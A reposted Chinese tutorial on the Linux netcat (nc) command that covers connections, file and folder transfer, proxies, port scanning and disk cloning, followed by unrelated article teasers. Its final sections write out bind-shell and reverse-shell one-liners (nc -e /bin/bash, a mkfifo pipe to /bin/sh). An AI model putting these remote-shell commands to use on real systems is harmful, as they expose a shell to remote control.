Linux命令——nc

Linux命令——nc

文章目录

  • Linux命令——nc
    • 例子
      • 客户端/服务端模型
      • 数据传输
      • 与服务端交互
      • 端口扫描
      • 使用代理
      • 发送文件
      • 聊天工具
      • 一次性 Web Server
      • 文件夹传输
      • 远程克隆磁盘
      • shell
      • 反向 shell
    • 参考

netcat,简写为 nc,是 unix 系统下一个强大的命令行网络通信工具,用于在两台主机之间建立 TCP 或者 UDP 连接,并提供丰富的命令进行数据通信。nc 在网络参考模型属于应用层。使用 nc 可以做很多事情:建立连接,发送数据包,监听端口,扫描端口,处理 ip4 和 ip6,和 telnet 不同,nc 会区分错误输出和标准输出,telnet 则都是标准输出。

nc 强大之处在于输出是标准输出(stdout), 输入来自标准输入(stdin), 以至于可以很容易通过管道和重定向直接使用或被其他程序和脚本调用。正因为它的这种特性, 以至于你能发挥你的想象力用它做很多事情:

  • 端口扫描: 通过与目的 IP 建立连接, 从而扫描目的IP 的端口是否开放
  • 聊天工具: 一边使用 nc 监听一个端口, 另一边使用 nc 成功连接这个端口即可互相通信
  • 发送文件: 与目的 IP 建立连接, 配合重定向, 源地址读取文件, 目的地址接收文件
  • 目录传输: tar 命令和管道的结合
  • 远程克隆磁盘: dd 命令和管道的结合
  • 配合 ssh config 的 ProxyCommand 命令进行跳板登录

例子

客户端/服务端模型

使用 nc 可以非常简单的构建一个基本的客户端/服务端模型。

首先在一个终端窗口,开启一个本地端口的监听。

nc -l 1234

现在 nc 就在监听 1234 端口,等待一个连接。再另开一个控制台(或另一台主机),使用 nc 连接该主机和端口。

nc 127.0.0.1 1234

这样,连接就已经建立起来了,默认是 TCP 连接,现在在任意一个控制台输入内容,另一个控制台都会收到,此时,nc 已不关心谁是客户端,谁是服务端了。

数据传输

上面的例子,再扩展一下,就可以构建一个数据传输模型。

nc 在开启了端口监听后,将收到的内容输出到指定文件

nc -l 1234 > out.txt

在第二个机器(或控制台)上,连接该主机和端口,并向该主机传输文件

nc 127.0.0.1 1234 < in.txt

与服务端交互

与 www.baidu.com 的 80 端口建立一个 TCP 连接

nc www.baidu.com 80

此时,仅仅是建立了一个 TCP 连接,本地的端口号是随机的。

也可以指定端口,使用 nc -p 1234 www.baidu.com 80 ,即采用本地 1234 端口与百度 80 端口建立连接。

还可以设定连接时间,nc -w 5 www.baidu.com 80,即连接 5s 后自动断开。

此外,-v选项可以让 nc 输出详细的日志;-u可以建立一个 UDP 连接。

现在使用 HTTP 协议,模拟浏览器访问百度。

echo -n "GET / HTTP/1.0\r\n\r\n" | nc -p 1234 www.baidu.com 80

上面用法也可以这样写:

nc -p 1234 www.baidu.com 80
GET / HTTP/1.0
(回车)
(回车)

注意空格和回车。

端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

检查本机 8088 - 8090 端口是否开启

nc 127.0.0.1 -z 8088-8090

使用代理

有些网络不能直接访问, 只能通过代理服务才能访问

通过代理连接 host.example.com 的 42 端口,下面是一些例子,未实际验证。

# 使用 HTTP 代理 http://10.2.3.4:8080 与 host.example.com 的 42 端口连接
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42# 使用 socks4 代理 socks4://10.2.3.4:8080 连接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X4 host.example.com 42# 使用 socks5 代理 socks5://10.2.3.4:8080 连接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X5 host.example.com 42

发送文件

把 192.168.0.2 上的文件 demo.tar.bz2 发送到 192.168.0.3, 并保存为 demo.tar.bz2:

在 192.168.0.3 上: nc -l 1234 > demo.tar.bz2
在 192.168.0.2 上: nc 192.168.0.3 1234 < demo.tar.bz2

聊天工具

通过在 192.168.0.2 与 192.168.0.3 上建立 TCP 连接来实现聊天:

在 192.168.0.3 上: nc -l 1234
在 192.168.0.2 上: nc 192.168.0.3 1234
这样, 双方就可以相互交流了, 使用 Ctrl+C 退出

一次性 Web Server

监听 8080 端口, 如果通过 http 访问, 则返回文件 file 的内容, 然后断开:

	{ printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n' "$(wc -c < file)"; cat file; } | nc -l 8080">)"}

文件夹传输

配合 tar 命令和管道, 在两台主机之间传输文件夹内容

把 192.168.0.2 的文件夹 dir 发往 192.168.0.3

在 192.168.0.2 上: tar -cvf - dir | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | tar xvf -
使用 tar 的 -j 选项(bzip2) 或 z 选项(gzip) 进行数据压缩传输

远程克隆磁盘

配合 dd 命令和管道, 进行远程磁盘读写

把 192.168.0.2 上的 /dev/sda 克隆到 192.168.0.3 上的 /dev/sdb:

在 192.168.0.2 上: dd if=/dev/sda | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | dd of=/dev/sdb

shell

可以打开一个远程主机的 bash, 对远程主机进行操作

从本地远程打开 192.168.0.3 的 shell:

在 192.168.0.3 上: nc -l 1234 -e /bin/bash
在本地: nc 192.168.0.3 1234
如果不支持 -e 或 -c 选项, 可以这样做:

  • 在 192.168.0.3 上:
  $ mkfifo /tmp/tmp_fifo$ cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 1234 > /tmp/tmp_fifo
  • 在本地: nc 192.168.0.3 1234

反向 shell

在服务端访问客户端的 shell

服务器 192.168.0.2 访问本地 shell:

在服务器上: nc -l 1234
在本机: nc 192.168.0.2 1234 -e /bin/bash

参考

使用 nc 读写 TCP/UDP 连接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/213764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS手写Promise.all方法

测试例子 var f11 Promise.resolve("111");var f22 Promise.resolve("222");var f33 Promise.resolve("333");// var f33 Promise.reject("333");1、用原生 Promise 实现 逻辑说明&#xff1a;接收一个由多个promise方法组成的数组…

uniapp开发小程序-pc端小程序下载后端接口的二进制流文件

fileName包含文件名后缀名&#xff0c;比如test.png这种格式 api.DownloadTmtFile后端接口返回的是文件的二进制流 值得注意的是&#xff0c;微信开发者工具中是测试不了wx.saveFileToDisk的&#xff0c;需要真机或者体验版测试 handleDownload(fileName) {if (!fileName) retu…

mysql表的字段建议加上NOT NULL约束

mysql的列加上NOT NULL约束&#xff0c;这是一个好的实践&#xff08;但不是一个强制要求&#xff09;&#xff0c;因为它能带来一些好处&#xff0c;例如&#xff1a; 设置为NOT NULL&#xff0c;可以确保该列没有NULL值&#xff0c;对该列的数据的规范性进行约束。加上NOT N…

大文件传输软件和传统软件的优缺点

在当前信息时代&#xff0c;文件和数据的传输已成为我们工作和生活中不可或缺的一环。无论是向同事发送报告还是与朋友分享电影&#xff0c;我们都需要依赖软件完成这些操作。然而&#xff0c;随着文件和数据容量的增大&#xff0c;传统的文件传输软件如FTP、HTTP、SMB、NFS等已…

pycharm中py文件设置参数

在py文件中右键 直接对应复制进去即可

sql35(Leetcode1204最后一个能进入巴士的人)

代码&#xff1a; from t1,t2 自连接 两两组合 group by having 求和 选出<1000的项 # Write your MySQL query statement below select a.person_name from Queue a, Queue b where a.turn>b.turn group by a.person_id having sum(b.weight)<1000 order by a.t…

Android:The emulator process for AVD Pixel_2_API_29 was killed

The emulator process for AVD Pixel_2_API_29 was killed 报错描述&#xff1a; 第一次安装Android studio好不容易解决gradle启动模拟器又出现了以下错误 The emulator process for AVD Pixel_2_API_29 was killed原因一&#xff1a; 需要安装Intel x86 Emulator Acceleer…

开启AI时代产品管理新篇章——写给产品经理的一本跨界书

在数字化时代&#xff0c;产品经理的角色和能力要求不断演变。徐修建所著的《搜广推策略产品经理——互联网大厂搜索广告推荐案例》恰逢其时&#xff0c;为新时代的产品经理提供了宝贵的指南。 首先&#xff0c;它通过通俗易懂的语言和生动案例&#xff0c;成功揭示了互联网大厂…

Linux-----find命令

一、find命令 find介绍&#xff1a;    find是可以通过文件名称、类型、大小、权限属性、时间戳等条件在指定目录下查找对应文件或者目录的工具&#xff1b;还可以配合相关命令对匹配到的文件作出后续处理。 二、工作原理及特点 find在查找文件时会遍历指定的目录&#xff…

基于conda环境使用mamba/conda安装配置QIIME 2 2023.9 Amplicon扩增子分析环境,q2cli主要功能模块介绍及使用

QIIME 2 2023.9 Amplicon Distribution介绍&#xff1a; 概述 qiime团队专门针对高通量扩增子序列分析退出的conda集成环境&#xff0c;包括了主要和常见的扩增子分析模块&#xff0c;用户可以单独使用各个模块&#xff0c;也可以使用各模块组成不同的分析流程。从2023.09版本…

外汇天眼:掌握这个技巧,你也能成为交易高手

在金融市场这个大潮中&#xff0c;外汇交易因其高杠杆、24小时交易等特点吸引着无数交易者。然而成功的交易并非易事&#xff0c;对于投资者来说&#xff0c;外汇交易市场是一个复杂且多变的市场&#xff0c;要在外汇市场中获得成功就需要扎实的外汇金融基础知识和独特的策略&a…

RocketMQ - Spring Cloud Alibaba RocketMQ

Spring Cloud Stream是Spring Cloud体系内的一个框架&#xff0c;用于构建与共享消息传递系统连接的高度可伸缩的事件驱动微服务&#xff0c;其目的是简化消息业务在Spring Cloud应用中的开发。 Spring Cloud Stream的架构图如下所示&#xff0c;应用程序通过Spring Cloud Str…

论文阅读《Domain Generalized Stereo Matching via Hierarchical Visual Transformation》

论文地址&#xff1a;https://openaccess.thecvf.com/content/CVPR2023/html/Chang_Domain_Generalized_Stereo_Matching_via_Hierarchical_Visual_Transformation_CVPR_2023_paper.html 概述 立体匹配模型是近年来的研究热点。但是&#xff0c;现有的方法过分依赖特定数据集上…

五年制专转本备考冲刺阶段,老师给你六点建议助你上岸

1、热衷的不是学习&#xff0c;而是思考 人与人之间最大的差别在于思维的差别&#xff0c;也可以说是思考的差别。专转本也是如此&#xff0c;有人思考得简单&#xff0c;有人思考得复杂&#xff1b;有人想得全面&#xff0c;有人想得肤浅。 只有善于思考&#xff0c;才会对问…

100:ReconFusion: 3D Reconstruction with Diffusion Priors

简介 官网 少样本重建必然导致nerf失败&#xff0c;论文提出使用diffusion模型来解决这一问题。从上图不难看出&#xff0c;论文一步步提升视角数量&#xff0c;逐步与Zip-NeRF对比。 实现流程 Diffusion Model for Novel View Synthesis 给定一组输入图像 x o b s { x i…

Jmeter beanshell编程实例

1、引言 BeanShell是一种小型的&#xff0c;免费的&#xff0c;可嵌入的符合Java语法规范的源代码解释器&#xff0c;具有对象脚本语言特性。 在Jmeter实践中&#xff0c;由于BeanShell组件较高的自由度&#xff0c;通常被用来处理较为复杂&#xff0c;其它组件难以处理的问题…

c语言:文件操作(1)

前言&#xff1a;为什么要使用文件 使用文件可以让程序在不同运行之间保存和读取数据。这样可以实现持久化存储&#xff0c;即使程序关闭后数据也不会丢失。文件也可以用于数据交换&#xff0c;允许不同程序之间共享信息。在 C 语言中&#xff0c;文件还可以用于读取配置信息&…

系统架构设计师教程(三)信息系统基础知识

信息系统基础知识 3.1 信息系统概述3.1.1 信息系统的定义3.1.2 信息系统的发展3.1.3 信息系统的分类3.1.4 信息系统的生命周期3.1.5 信息系统建设原则3.1.6 信息系统开发方法 3.2 业务处理系统 (TPS)3.2.1 业务处理系统的概念3.2.2 业务处理系统的功能3.2.3 业务处理系统的特点…

Python:核心知识点整理大全13-笔记

目录 6.4.3 在字典中存储字典 6.5 小结 第7章 用户输入和while循环 7.1 函数 input()的工作原理 7.1.1 编写清晰的程序 7.1.2 使用 int()来获取数值输入 7.1.3 求模运算符 7.1.4 在 Python 2.7 中获取输入 7.2 while 循环简介 7.2.1 使用 while 循环 往期快速传送门…

基于jsonrpc4j实现JSON-RPC over HTTP(客户端多种调用方式)

1.说明 前文基于jsonrpc4j实现JSON-RPC over HTTP(服务端集成Spring Boot)&#xff0c; 介绍了JSON-RPC over HTTP服务端的实现方法&#xff0c; 并且通过Postman工具调用服务端对外提供的方法&#xff0c; 下面介绍两种基于Java代码调用客户端的方法&#xff1a; 非Spring框…